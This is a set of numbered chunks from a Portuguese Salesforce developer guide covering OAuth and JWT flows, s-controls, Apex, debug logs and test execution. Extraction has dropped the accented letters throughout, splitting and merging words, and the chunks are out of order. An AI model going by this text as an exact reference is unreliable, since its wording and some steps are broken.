488. rocesso continuar Veja a seguir as etapas mais detalhadas sobre o procedimento de login para desenvolvedores que est o usando um aplicativo conectado para solicitar dados do Salesforce 1 O consumidor redireciona o usu rio para o seguinte local onde ele deve efetuar login https login salesforce com setup secur RemoteAccessAuthorizationPage apexp Os par metros de consulta GET apropriados s o anexados a este URL e chave oauth a ChaveDeSolicita o e chave do consumidor oauth Nota Se um par metro retorno_oauth for inclu do ele ser ignorado A p gina Autoriza o de acesso remoto exibida Se o usu rio aprovar o acesso para o consumidor o Salesforce gerar a ChaveDeAcesso e o SegredoDaChaveDeAcesso Nota O n mero de chaves de acesso simult neas que pode ser concedido por um usu rio a um aplicativo limitado O padr o de cinco por aplicativo por usu rio Se essa autoriza o exceder o limite para sua organiza o o usu rio ser notificado que sua autoriza o revoga automaticamente a s chave s desse aplicativo que n o foi ram usada s pelo maior per odo O Salesforce verifica o URL de retorno especificado nas p ginas de defini o do aplicativo conectado ou no par metro oauth callback da etapa anterior Uma das seguintes redire es ocorrer e Seo oauth callback definido no RequestToken for oob eo campo URL de retorno na p gina de defini o do aplicativo conectado tiver um valor
489. rol que deseja usar para editar leads que estiveram em aberto por mais de 30 dias D ao s control o nome de EditLeadsOpenLongerThan30 Em seguida crie um s control usando o c digo de exemplo acima para determinar se um lead est em aberto h mais de 30 dias e em caso positivo substituir a a o de edi o de leads usando o s control EditLeadsOpenLongerThan30 Observe as diferen as entre a primeira e a segunda instru o if no exemplo acima A primeira uma instru o if de JavaScript executada no navegador segunda a fun o IF do Salesforce executada no servidor que retorna um nico valor o n mero de dias que o lead est em aberto ou zero caso o lead n o esteja aberto Q Dica Use a fun o URLFOR neste exemplo para criar URLs do Salesforce em vez de especificar URLs espec ficos garantindo que funcionem em diferentes vers es Para exibir uma p gina padr o do Salesforce sem chamar a substitui o defina o argumento no override nafun o URLFOR como true Use tamb m o par metro ret URL na fun o URLFOR para retornar o usu rio p gina de detalhes ap s salvar Substitui o de edi o de contatos Voc talvez tenha seu pr prio c digo que prefere usar para editar contatos Use a amostra de s control abaixo para passar valores de dados usando campos de mesclagem de uma p gina de detalhes de registro para um s control personalizado que substitui um bot o padr o de p gina de detalhes lt htm
490. rovisionamento de usuarios Cont m mensagens geradas durante o Modificar todos os processo de provisionamento de usuarios para dados aplicativos de terceiros Aprimorar o Salesforce com c digo Objeto principal Destinos simulados de provisionamento de usu rios Solicita es de provisionamento de usu rios CONSULTE TAMB M Provisionamento de usu rios para aplicativos conectados Desinstalando um Aplicativo conectado PERMISS ES DO USU RIO Para ler Personalizar aplicativo Para criar atualizar ou excluir Personalizar aplicativo E Guia do usu rio Integra o de aplicativos com o Salesforce 195 Descri o Cont m dados de usu rios para testar antes de confirmar os dados em um sistema de terceiros para provisionamento de usu rios Cont m informa es sobre solicita es de provisionamento individuais dos usu rios EDI ES Dispon vel em Salesforce Classic e Lightning Experience Modificar todos os dados OU Gerenciar aplicativos conectados Para atualizar todos os campos com exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Para atualizar Perfis Conjuntos de de servi os Para desinstalar Personalizar aplicativo Personalizar aplicativo E Modificar todos permiss es e Atributos de SAML do provedor os dados Aplicativos conectados podem ser criados em Edi es Group Professional
491. ru es do Apex na linha de comando digite exec lt Apex statements gt Por exemplo exec List lt Account gt accts new List lt Account gt for Integer i 0 i lt 20 i Account a new Account name Account Name i accts add a e Para executar c digo que voc j inseriu na janela Inserir c digo do Apex digite exec r 3 Ap s o log ter sido gerado digite Localizar lt string gt para pesquisar o texto especificado Porexemplo localizar Nome da conta Os resultados da pesquisa s o exibidos na Janela da linha de comando 4 Para fechar a Janela da linha de comando clique em CTRL L CONSULTE TAMB M Refer ncia da linha de comando do Console do desenvolvedor Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 289 Filtragem do registro de depura o para classes do Apex e acionadores do Apex EDI ES Configurando filtros do registro de depura o para classes e acionadores do Apex Dispon vel em Salesforce Classic e Lightnin A filtragem do registro de depura o oferece um mecanismo para ajuste dos detalhes do registro 9 g ias ns Experience no n vel do acionador e da classe Isso especialmente til ao depurar a l gica do Apex Por exemplo para avaliar a sa da de um processo complexo voc pode elevar os detalhes do log para uma Dispon vel em Enterprise determinada classe desativando o registro para outras classes ou acionadores em uma nic
492. s Aprimorar o Salesforce com c digo O que acontece quando ocorre uma exce o do Apex Quando ocorre uma exce o a execu o do c digo interrompida Quaisquer opera es DML que foram processadas antes da exce o s o desfeitas e n o s o confirmadas no banco de dados Exce es s o registradas nos registros de depura o Para exce es n o tratadas ou seja exce es que o c digo n o capta o Salesforce envia um email que inclui as informa es da exce o O usu rio final v uma mensagem de erro na interface do usu rio do Salesforce Emails de exce es n o tratadas Quando ocorrem exce es n o tratadas do Apex ocorre o envio de emails que incluem o rastreamento de pilha do Apex bem como a organiza o e o ID do usu rio do cliente Nenhum outro dado do cliente retornado com o relat rio Emails de exce es n o tratadas s o enviados por padr o ao desenvolvedor especificado no campo LastModi fi edBy na classe ou acionados com falha Al m disso poss vel enviar emails a usu rios de sua organiza o do Salesforce e a endere os de email arbitr rios Para configurar essas notifica es por email em Configura o insira Email de exce o de Apex nacaixa Busca r pida eselecione Email de exce o de Apex Tamb m poss vel configurar os emails de exce es do Apex usando o objeto ApexEmailNotification da API do conjunto de ferramentas Nota Se ocorrerem exce es duplicadas no A
493. s Vis o geral dos r tulos personalizados S controls personalizados Definindo custom s controls O Importante As p ginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls existentes n o s o afetados e ainda podem ser editados A biblioteca de s controls personalizados um local onde voc pode armazenar e carregar o conte do a ser utilizado em v rias reas do Salesforce como links personalizados guias da Web bot es personalizados e pain is Os s controls permitem estender a interface do usu rio do Salesforce de forma aberta e flex vel permitindo inclusive que voc crie e exiba seus pr prios formul rios de dados personalizados Um s control pode conter qualquer tipo de conte do que possa ser exibido ou executado em um navegador Por exemplo um miniaplicativo Java um controle Active X um arquivo do Excel ou um formul rio HTML personalizado da Web 1 Em Configura o insira S Controls nacaixa Busca r pida e selecione S Controls 2 Para criar um s control personalizado clique em Novo s control personalizado 3 Para alterar um s control existente clique em Editar Guia do usu rio Componentes do Lightning Apex Visualforce 120 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Developer Professional Enterprise Performance e Unlimited PERMISS ES DO USU RIO
494. s Servi os dentro do escopo do Contrato de assinatura mes tre do Salesforce Para obter mais informa es sobre a sintaxe e o uso do Apex consulte o Force com Apex Code Developer s Guide Guia do desenvolvedor do Apex Code Apex Developer s Guide e Developer Tools O Apex Code Developer s Guide a refer ncia completa para a linguagem de programa o Apex O Apex Code Developer s Guide tamb m explica a sintaxe da linguagem como chamar o Apex como trabalhar com limites como escrever testes e mais Para escrever um Apex code voc pode escolher entre diversas ferramentas do Salesforce e de terceiros e Force com Apex Code Developer s Guide Use estas ferramenta s para escrever um Apex code e Console do desenvolvedor do Force com e Force com IDE pl e Editor de c digo ug in for Eclipse na interface do usu rio do Salesforce Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Pesquise na Web para localizar IDEs do Salesforce criados por desenvolvedores de terceiros Definir classes do Apex As classes do Apex s o armazenadas como metadados no Salesforce Nota Voc s pode adicionar editar ou excluir o Apex usando a interface do usu rio do Salesforce em uma organiza o Developer Edition uma organiza o de avalia o Enterprise Edition do Salesforce ou uma organiza o sandbox Em uma organiza o de produ o do Salesforce voc s pode fazer altera
495. s ao novo aplicativo Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 207 O desenvolvedor cria um aplicativo que gera um JWT e o assina com seu certificado O JWT enviado por POST ao ponto final do token https login salesforce com services oauth2 token ou se implementado para uma comunidade https acme force com customers services oauth2 token em que acme force com customers o URL da comunidade O ponto final da chave valida a assinatura usando o certificado registrado pelo desenvolvedor O ponto final do token valida o p blico aud o emissor iss a validade exp e o assunto sub do JWT Supondo que o JWT seja v lido e que o aplicativo tenha sido autorizado anteriormente pelo usu rio ou administrador o Salesforce emiteum access token Nota Um refresh token n o emitido nesse fluxo Criando um token portador JWT O desenvolvedor deve criar uma chave portadora JWT v lida que cumpra RSA SHA256 de acordo com as seguintes regras O emissor iss deve sero client id do OAuth ou o aplicativo conectado para o qual o desenvolvedor registrou o certificado O p blico aud deve ser https login salesforce com https test salesforce com ou ao implantar para uma comunidade https acme force com customers emque acme force com customers oURL da comunidade O assunto sub deve ser o nome de usu rio do usu rio do Salesforce desejado ou ao imple
496. s as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados Todos os valores do escopo incluem automaticamente o id ent o independente dos valores de scope passados voc sempre tem acesso aos URLs de identidade Quando um usu rio aprova aplicativos o valor do escopo armazenado com o token de atualiza o Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 227 Por exemplo se um usu rio aprovar um aplicativo com o escopo de id o token de atualiza o criado com scope id Em seguida se o usu rio aprovar um segundo aplicativo com um escopo diferente por exemplo api o token de atualiza o criado com scope api Para solicita es de token portador JSON ou SAML a solicita o examina os escopos de todos os tokens de atualiza o anteriores e os combina Dado o exemplo anterior o resultado um token de acesso com scope id 20api A seguir est um exemplo de solicita o configurando o par metro scope com os valores api id e web http login salesforce com services oauth2 authorize response type tokensgclient id 3MVG91KcPoNINVBKV6EgVUIF snSDwh6 2wSS7BrOhHGEJkC amp redirect uri http www example org qa security oauth useragent flow _callback jsp amp scope api 20id 20web CONSULTE TAMBEM Autenticando aplicativos com o OAuth Obtendo e verificando um to
497. s de verifica o que possibilitam ver mais detalhes sobre as entidades contidas na mem ria no momento da execu o Para obter detalhes consulte Configurando pontos de verifica o no c digo do Apex Vis o geral de execu o Salvar Pedido Limites Linha de tempo e Unidades executadas O painel Vis o geral da execu o na parte inferior do Inspetor de registro cont m quatro guias e Aguia Salvar pedido exibe uma linha do tempo com c digo de cores das a es DML Para cada a o DML tomada salve os elementos de pedido mostrados como vag es de carga na linha do tempo SaveOrder Limits Timeline Executed Units Sobject Opportunity Apex Trigger opp t Task Task As seguintes cores s o usadas para diferenciar entre os elementos Cor Tipo Vermelho Antes do acionador Laranja Ap s o acionador Verde Regra de valida o Azul Regra de atribui o Roxo Regra de fluxo de trabalho Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 263 Para obter mais detalhes sobre um elemento espec fico clique no vag o de carga associado na linha do tempo A janela pop up exibe informa es adicionais incluindo um link para navegar diretamente at o lugar relevante no registro Para exibir o s ID s dos registros afetados clique no nome do sObject no painel esquerdo e Aguia Limites exibe os limites gerais do sistema por nome e quantidade usada e cont m estas i
498. s do teste s o consolidados quando a execu o de um m todo de teste conclu da Ocorre um impasse quando um teste em execu o est aguardando que outro teste em execu o consolide os dados Isso acontece se dois testes inserirem registros com os mesmos valores exclusivos de campo de ndice em ordens diferentes Voc pode evitar a exibi o desses erros desativando a execu o de testes em paralelo na interface do usu rio do Salesforce 1 Em Configura o insira Execu o de teste do Apex nacaixa Busca r pida selecione Execu o de teste do Apex e clique em Op es 2 Na caixa de di logo Op es de execu o de testes do Apex selecione Desativar teste paralelo do Apex e clique em OK Para mais informa es sobre dados de teste consulte Isolamento de dados de teste de dados da organiza o em testes de unidade no Force com Apex Code Developer s Guide Guia do desenvolvedor de c digo do Apex do Force com Essa op o n o afeta a ordem de execu o dos testes que continuam sendo executados de forma ass ncrona na p gina de Execu o de teste do Apex Inspecionando resultados da cobertura de c digo Ap s executar os testes usando a p gina de Execu o de teste de Apex voc poder ver os detalhes da cobertura do c digo no Console do desenvolvedor Consulte Verificando a cobertura de c digo Para reduzir o tempo de c lculo dos resultados gerais de cobertura do c digo obtidos por meio de Estimar co
499. s registros salvos para a sua organiza o incluindo registros rec m adicionados criados por outros usu rios e Show My Current Checkpoints Only Exibir apenas meus pontos de verifica o atuais Desmarque essa op o selecionada por padr o para exibir todos os pontos de verifica o atualmente salvos para a sua organiza o incluindo aqueles rec m gerados criados por outros usu rios e Clear Limpar Selecione Log Panel Painel de registro Checkpoint Results Panel Painel de resultados do ponto de verifica o ou Checkpoint Locations Locais do ponto de verifica o para apagar dados atuais do cache e atualizar a exibi o e Resume Updating Continuar a atualiza o Renova a conex o com o servidor Essa op o exibida apenas se a pesquisa tiver sido interrompida devido inatividade e Change Log Levels Alterar n veis de registro Abre o di logo de configura es de registro para definir os n veis de registro para solicita es futuras Consulte N veis de registro de depura o Nota Algumas op es no menu Debug Depurar n o est o acess veis at que um registro tenha sido gerado CONSULTE TAMB M Executando o c digo do apex an nimo Inspetor de registro Gerenciando perspectivas no inspetor de registro N veis de registro de depura o Editor de consulta Voc pode usar o Editor de consulta no Console do desenvolvedor para executar uma consulta SOQL ou pesquisa SOSL nos dados da sua org
500. salesforce Aprimorar o Salesforce com c digo Guia do usu rio Winter 16 gt W salesforcedocs A vers o em Ingl s deste documento tem preced ncia sobre a vers o traduzida O Copyright 2000 2015 salesforce com inc Todos os direitos reservados Salesforce uma marca registrada da salesforce com inc assim como outros nomes e marcas Outras marcas que aparecem neste documento podem ser marcas comerciais de seus respectivos propriet rios CONTEUDO Aprimorar o Salesforce com c digo 0 0 c cece eee eee 1 Bem vindos desenvolvedores do Salesforce 2 eee 1 Ferramentas de desenvolvimento do Salesforce 2 ee eee 1 COMIGO an faces ce eaters Bice shy pe clan Geach rg cao Grana fi dea te land E E O du DSR EE a 2 DEDUTA O ua ue i Sosa a al Bierce ta a Mica O ei be brs DR E O ee tages ow BAe eas a ws 253 35 0 mee em 290 MOOM es ete ells wa dedo SARA dus SAD Aye RSA E Ayre He CR sea ASR E Ayan uae 2 299 Aprimorar o Salesforce com c digo Bem vindos desenvolvedores do Salesforce Esta documenta o fornece informa es sobre como aprimorar a organiza o do Salesforce desenvolvendo aplicativos personalizados e integrando seus aplicativos externos A documenta o est organizada por tarefa de modo que voc possa localizar rapidamente as informa es de que necessita e Escrevendo c digo Escreva c digo usando a linguagem de programa o do Apex para adicionar a l gic
501. se somente as opera es do acionador ser o exibidas Se voc clicar em CODE UNIT STARTED e selecionar This Frame Este quadro apenas os itens no processo que ocorrem entre CODE UNIT STARTED CODE UNIT ENDED associado s o exibidos T e Executable Execut vel Exibe somente os itens execut veis no registro de depura o Essa op o oculta as informa es sobre limites cumulativos como o n mero de consultas SOQL feitas o n mero de linhas DML e assim por diante Q Dica Sempre deixe Executable Execut vel marcado Desmarque a apenas quando estiver trabalhando na otimiza o do processo e precisar de informa es espec ficas sobre limites e Debug Only Apenas depurar Exibe apenas as instru es de depura o que voc adicionou ao c digo e Filter Filtrar Exibe os itens correspondentes que foram digitados no campo associado Por exemplo se voc selecionar Filter Filtrar e digitar DML ser o exibidas apenas as linhas no registro de execu o com a string DML no compromisso ou nos detalhes O filtro diferencia mai sculas de min sculas O painel Registro de execu o cont m estas informa es Coluna Descri o Data e hora Hora do sistema em que o processo foi iniciado exibida no hor rio local do usu rio O formato HH MM SS MSS Compromisso O Evento de depura o Detalhes Detalhes adicionais que pertencem ao evento como n mero de linhas par metros Apri
502. se este WSDL para migrar as altera es de configura o entre organiza es ou trabalhar com personaliza es na sua organiza o como arquivos de metadados XML Para fazer download do documento WSDL 1 Em Configura o insira APT na caixa Busca r pida e selecione API 2 Fa a download do WSDL adequado e Sevoc estiver fazendo download de um WSDL empresarial e tiver gerenciado os pacotes instalados na sua organiza o clique em Gerar WSDL empresarial O Salesforce solicita que voc selecione a vers o de cada pacote instalado de forma a incluir no WSDL gerado e Caso contr rio clique com o bot o direito no link do documento WSDL apropriado para salv lo em um diret rio local No menu do bot o direito do mouse os usu rios do Internet Explorer podem escolher Salvar Destino Como os usu rios do Mozilla Firefox podem escolher Salvar link como 3 Em seu computador importe a c pia local do documento WSDL em seu ambiente de desenvolvimento Nota Voc tamb m pode selecionar as vers es do pacote padr o sem fazer download de um WSDL na se o de Configura es da vers o do pacote Voc pode tamb m fazer download de um certificado para autenticar organiza es do Salesforce Use este certificado para envio de mensagens de sa da do fluxo de trabalho Este certificado deve identificar que a solicita o est vindo de Salesforce n o de um usu rio espec fico Se voc quiser usar certificados para garantir conex es
503. se o agendador do Apex se voc tiver classes espec ficas do Apex que quiser executar regularmente ou execute um trabalho do Apex em lotes usando a interface do usu rio do Salesforce O programador executa como um sistema ou seja todas as classes s o executadas Dispon vel em Salesforce independentemente de o usu rio possuir permiss o para executar a classe Classic e Lightning Experience O Importante O Salesforce programa a classe para execu o em um hor rio especificado A execu o real poder atrasar com base na disponibilidade do servi o Dispon vel em Enterprise Performance Unlimited Para agendar trabalhos usando o agendador do Apex Developer e Database com 1 Implemente a interface Programavel em uma classe do Apex que instancia a classe que Editions deseja executar 2 Em Configura o insira Classes do Apex nacaixa Busca r pida selecione Classes do Apex e clique em Agendar Apex 3 Especifique o nome da classe que deseja programar 4 Especifique a frequ ncia com que a classe do Apex deve ser executada e Para Semanalmente especifique um ou mais dias da semana em que o trabalho dever ser executado como segunda e quarta feira e Para Mensalmente especifique ou a data em que o trabalho dever ser executado ou o dia como o segundo s bado de cada m s 5 Especifique as datas de in cio e fim para a classe agendada do Apex Se voc especificar um nico dia o trabalho ser executad
504. sele o Configura es da seguran a avan ada de email paraconfigurar o servi o de email a fim de verificar a legitimidade do servidor de envio antes de processar uma mensagem O servi o de email usa os seguintes protocolos de autentica o para verificar a legitimidade do remetente e SPF e Senderld e Domainkeys Se o servidor de envio for aprovado em pelo menos um desses protocolos e n o obtiver nenhuma reprova o o servi o de email processar o email Se o servidor for reprovado em algum protocolo ou n o oferecer suporte a nenhum deles o servi o de email realizar a a o especificada na configura o A o para remetente n o autenticado de resposta da falha Q Dica Antes de marcar a caixa de sele o Autenticar remetentes verifique se os remetentes que voc espera que usem o servi o de email suportam pelo menos um dos protocolos de autentica o relacionados anteriormente Para obter informa es sobre os protocolos de autentica o visite os sites e www openspf org Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex 7 10 11 Visualforce 108 e www microsoft com mscorp safety technologies senderid default mspx Os servi os de email rejeitam as mensagens de email e notificam o remetente caso o email texto do corpo combinado HTML do corpo e anexos exceda em aproximadamente 10 MB varia de acordo com o idioma e o conjunto de caracteres Voc pode converter anex
505. sequ ncia usada na sua organiza o Consequentemente a cria o dos dados de teste em testes do Apex n o faz com que a sequ ncia de campos de numera o autom tica seja maior para registros que n o s o de teste na organiza o Se essa op o n o for ativada haver lacunas no campo de numera o autom tica sempre que os testes do Apex criarem registros de teste com campos de numera o autom tica Por exemplo se Conta tem um campo de numera o autom tica e h 50 registros de conta na sua organiza o o valor do campo da ltima conta criada pode ser N 0050 Depois de executar um teste do Apex que cria cinco contas de teste isso faz com que a sequ ncia de numera o autom tica aumente em cinco mesmo se esses registros de teste n o forem confirmados no banco de dados e forem revertidos Da pr xima vez que voc criar um registro de conta que n o de teste o valor do campo de numera o autom tica ser N 0056 em vez de N 0051 esse o motivo da lacuna na sequ ncia Se voc ativa essa op o antes de executar um teste do Apex que cria dados de teste a sequ ncia de numera o autom tica preservada e o pr ximo registro que n o de teste ter um valor cont guo de numera o autom tica de N 0051 Observe que as lacunas na sequ ncia de numera o autom tica tamb m podem ocorrer em outras situa es por exemplo quando acionadores que tentam inserir novos registros n o executam e os registros s
506. sonalizadas nacaixa Busca r pida e selecione Permiss es personalizadas 2 Crie ou selecione uma permiss o personalizada existente Na lista relacionada Permiss es personalizadas necess rias clique em Editar 4 Selecione as permiss es personalizadas que deseja adicionar da lista Permiss es personalizadas dispon veis e clique em Adicionar ou selecione as permiss es personalizadas que deseja remover da lista Permiss es personalizadas necess rias e clique em Remover 5 Clique em Salvar CONSULTE TAMB M Permiss es personalizadas Depura o Depurando o seu c digo Esta se o cont m informa es sobre como depurar o c digo que voc escreveu e Guia Pontos de verifica o e Inspetor de pontos de verifica o e Guia Registros e Inspetor de registro e Exemplos de uso do inspetor de registros e Usando registros de depura o Depura o com o uso do console do desenvolvedor Guia Pontos de verifica o Guia do usu rio Depura o 253 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Group Professional Enterprise Performance Unlimited e Developer Em organiza es com Group e Professional Edition voc n o pode criar ou editar permiss es personalizadas mas poss vel instal las como parte de um pacote gerenciado PERMISS ES DO USU RIO Para adicionar ou remover as permiss es personalizadas necess rias e Ger
507. sos est ticos nacaixa Busca r pida eselecione Recursos est ticos para exibir a p gina de lista Recursos est ticos que exibe a lista de recursos definida para sua organiza o Nessa p gina voc pode e Clicar em Novo recurso est tico para definir um novo recurso est tico e Clicar em um nome de recurso para exibir informa es detalhadas sobre a p gina incluindo o tipo e o tamanho do MIME e Clicar em Editar ao lado do recurso para modificar o nome do recurso ou para carregar uma nova vers o do recurso e Clicar em Excluir para remover um recurso Nota O prefixo de namespace adicionado s classes e acionadores do Apex componentes e p ginas do Visualforce modelos de marca pastas s controls recursos est ticos links da web etipos de relat rio personalizados caso eles estejam inclu dos em um pacote gerenciado Mas se voc n o tiver permiss o para personalizar aplicativos o campo de prefixo de namespace n o ser exibido para modelos de marca pastas e tipos de relat rio personalizados CONSULTE TAMB M Exibindo e editando recursos est ticos O que um Recurso est tico Visualforce 83 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISSOES DO USUARIO Para criar e editar recursos est ticos e Personalizar aplicativo Aprimorar o Salesf
508. sse ou no acionador Use Mostrar depend ncias para localizar onde um pacote gerenciado mencionado por uma classe ou por um acionador Exibir classes do Apex Depois de voc criar a classe poss vel visualizar o c digo contido nela al m da API na qual a EDICOES classe foi salva e se a classe v lida ou ativa Em Configura o insira Classes do Apex na caixa Busca r pida selecione Classes do Apex e clique no nome da classe que deseja exibir Dispon vel em Salesforce Para exibir uma classe poss vel executar as a es a seguir Classic e Lightning e Clique em Editar para fazer altera es na classe Experience Nota Dispon vel em Enterprise 28 oade dia di i PERTE Performance Unlimited Voc s pode adicionar editar ou excluir o Apex usando a interface do usu rio do Developer e Database com Salesforce em uma organiza o Developer Edition uma organiza o de avalia o Editions Enterprise Edition do Salesforce ou uma organiza o sandbox Em uma organiza o de produ o do Salesforce voc s pode fazer altera es no Apex usando a chamada da API de metadados deploy o Force com IDE ou a Force com Migration Tool O PERMISSOES DO Force com IDE e o Force com Migration Tool s o recursos gratuitos fornecidos pelo USU RIO Salesforce para auxiliar seus usu rios e parceiros mas n o s o considerados parte de nossos Servi os dentro do escopo do Contrato de assinatura mestre do Salesforce Pa
509. ssociada ao aplicativo conectado e mostra se o usu rio atual est com cada permiss o ativada ou n o Permite o acesso a todos os dados dispon veis para o usu rio logado e engloba todos os outros escopos full n o retorna um token de atualiza o Voc deve solicitar explicitamente o escopo refresh_token para obter uma chave de atualiza o Permite acesso ao servi o de URL de identidade poss vel solicitar perfil email endere o ou telefone individualmente para obter o mesmo resultado que o uso de id s o sin nimos Permite o acesso ao identificador exclusivo do usu rio atual conectado para aplicativos OpenID Connect Pode se usar 0 escopo de openid no fluxo do agente de usu rio do OAuth 2 0 e o fluxo de autentica o do servidor da Web do OAuth 2 0 para obter um token de ID assinado em conformidade com as especifica es do OpenlD Connect al m do token de acesso Permite que um token de atualiza o seja retornado caso seja eleg vel para receber um Isso permite a intera o do aplicativo com os dados do usu rio enquanto o usu rio est offline a mesma coisa que solicitar offline access Permite acesso s p ginas do Visualforce Permite a capacidade de usaro access token na Web Tamb m incluio visualforce que permite o acesso as paginas do Visualforce Guia do usu rio Integra o de aplicativos com o Salesforce 226 EDI ES Dispon vel em Salesforce Classic Dispon vel em toda
510. sta todas as contas descobertas e vinculadas ao servi o de terceiros Use essa se o para gerenciar o Estado da vincula o com a conta de terceiros e editar os detalhes armazenados na configura o da conta Normalmente o Salesforce gerencia o Estado da vincula o com a conta no servi o de terceiros O Salesforce pode descobrir e associar contas de usu rio entre uma organiza o do Salesforce e um sistema de terceiros durante um processo de reconcilia o A associa o baseada nos atributos especificados no assistente de Provisionamento de usu rios Selecione Permitir que eu gerencie a vincula o da conta somente se quiser controlar o Estado da vincula o em vez de deixar que o Salesforce fa a isso por voc O Estado da vincula o pode ter os valores a seguir Regras de compartilhamento de solicita es de provisionamento de usu rios Se voc adicionou processos de aprova o configura o de provisionamento de usu rios defina regras de compartilhamento para que outras pessoas como outro usu rio ou um gerente possam ver e aprovar uma solicita o de provisionamento de usu rios Em Configura o insira Configura es de compartilhamento nacaixa Busca r pida e selecione Configura es de compartilhamento CONSULTE TAMB M Provisionamento de usu rios para aplicativos conectados Configura o do provisionamento de usu rios para aplicativos conectados Criar provisionamento de usu rios para relat
511. stentes n o s o afetados e ainda podem ser editados Dispon vel em Salesforce Use s controls para adicionar sua pr pria funcionalidade na organiza o do Salesforce Quer voc Classic esteja integrando um aplicativo pr prio hospedado ou estendendo a atual interface do usu rio do Dispon vel em Edi es Salesforce use s controls para salvar o c digo ou fazer refer ncia a ele Contact Manager Group Professional Enterprise Performance Unlimited e Developer Os custom s controls podem conter qualquer tipo de conte do que voc pode exibir em um navegador por exemplo um miniaplicativo Java um controle Active X um arquivo do Excel ou um formul rio personalizado da Web em HTML CONSULTE TAMB M Definindo custom s controls S Controls teis Como as p ginas do Visualforce se comparam aos s controls Considera es sobre s controls em pacotes Force com AppExchange Se voc estiver desenvolvendo pacotes Force com AppExchange com s controls ou planejando instalar um pacote AppExchange com s controls observe as seguintes limita es e Para os pacotes que voc est desenvolvendo isto n o instalados a partir do AppExchange poss vel adicionar apenas s controls aos pacotes com o acesso padr o Irrestrito da API Seo pacote tiver um s control voc n o poder ativaro acesso Restrito da API e Para os pacotes j instalados voc pode ativar as restri es de acesso mesmo que eles tenham s controls Entretant
512. sualforce lt apex page gt lt apex outputLink value SControl HelloWorld gt Open the HelloWorld s control lt apex outputLink gt lt apex page gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Dicas Setup Descri o Use Exemplo de campo de f rmula Exemplos do Visualforce Visualforce 33 Se voc quiser simplesmente incorporar um s control em uma p gina voc pode usar a marca lt apex scontrol gt sem o campo de mesclagem SControl Por exemplo lt apex page gt lt apex scontrol controlName HelloWorld gt lt apex page gt e Alista suspensa referentea Inserir campo de mesclagem lista todos os custom s controls exceto os snippets Embora os snippets sejam s controls eles se comportam de maneira diferente Por exemplo n o poss vel fazer refer ncia a um snippet diretamente em uma fun o URLFOR Os snippets n o est o dispon veis durante a cria o de um bot o ou link personalizado cuja Origem do conte do seja um S Control personalizado N o poss vel adicionar snippets aos layouts de p gina Para inserir um snippet em seu s control use o bot o suspenso Inserir snippet e Essa vari vel global s est dispon vel para bot es e links personalizados custom s controls e p ginas do Visualforce Um campo de mesclagem global para usar ao fazer refer ncia a uma configura o personalizada do tipo hierarquia Use Setup para
513. ta em uma vers o beta que apresenta qualidade de produ o mas tem algumas limita es A estrutura oferece suporte a desenvolvimento de componentes em v rias camadas particionadas que ligam o cliente e o servidor Usa JavaScript no lado do cliente e Apex no lado do servidor H v rios benef cios advindos do uso da estrutura de Componente do Lightning para criar componentes e aplicativos Conjunto de componentes prontos para usar Vem com um conjunto de componentes prontos para usar para come ar a cria o de aplicativos N o preciso gastar tempo otimizando aplicativos para diferentes dispositivos pois os componentes j cuidam disso Desempenho Usa uma arquitetura de cliente com estado e servidor sem estado que usa JavaScript no lado Guia do usu rio Componentes do Lightning Apex Visualforce 86 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel para uso em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer Criar componentes do Lightning usando a Ul nas Enterprise Performance Unlimited Developer Editions ou em um sandbox do cliente para gerenciar metadados dos componentes da Ul e dados do aplicativo O cliente chama o servidor somente quando for absolutamente necess rio por exemplo para obter mais metadados ou dados O servidor apenas envia os dados de que o usu rio precisa para maximizar a efici ncia A estrutura usa JS
514. te adicionado Quando voc adiciona um registro a um conjunto de altera es o tipo correspondente inclu do na lista de componentes dependentes Para mais informa es sobre conjuntos de altera es e implanta o de pacotes consulte o Guia do ciclo de vida de desenvolvimento Nota N o poss vel desinstalar um pacote com um tipo de metadados personalizados se voc tiver criado registros desse tipo de metadados personalizados Como acontece com todos os componentes de metadados empacot veis tamb m poss vel adicionar tipos e registros de metadados personalizados a um pacote especificando o nome completo do pacote no arquivo package xm1 Por exemplo especificamos o pacote neste fragmento do arquivo package xm1 da Picklists R Us lt xml version 1 0 encoding UTF 8 gt lt Package xmlns http soap sforce com 2006 04 metadata gt lt fullName gt Picklists R Us lt fullName gt Considera es sobre pacotes de tipo de metadados personalizados Esteja ciente dos seguintes comportamentos de pacotes que cont m tipos de metadados EDICOES personalizados Ap s carregar um pacote Gerenciado Liberado contendo um tipo de metadados personalizados Dispon vel em Salesforce n o poss vel Classic e Adicionar campos obrigat rios ao tipo de metadados personalizados Dispon vel em Edi es e Tornar obrigat rio um campo opcional Enterprise Performance Unlimited Developer e e Excluir campos personalizad
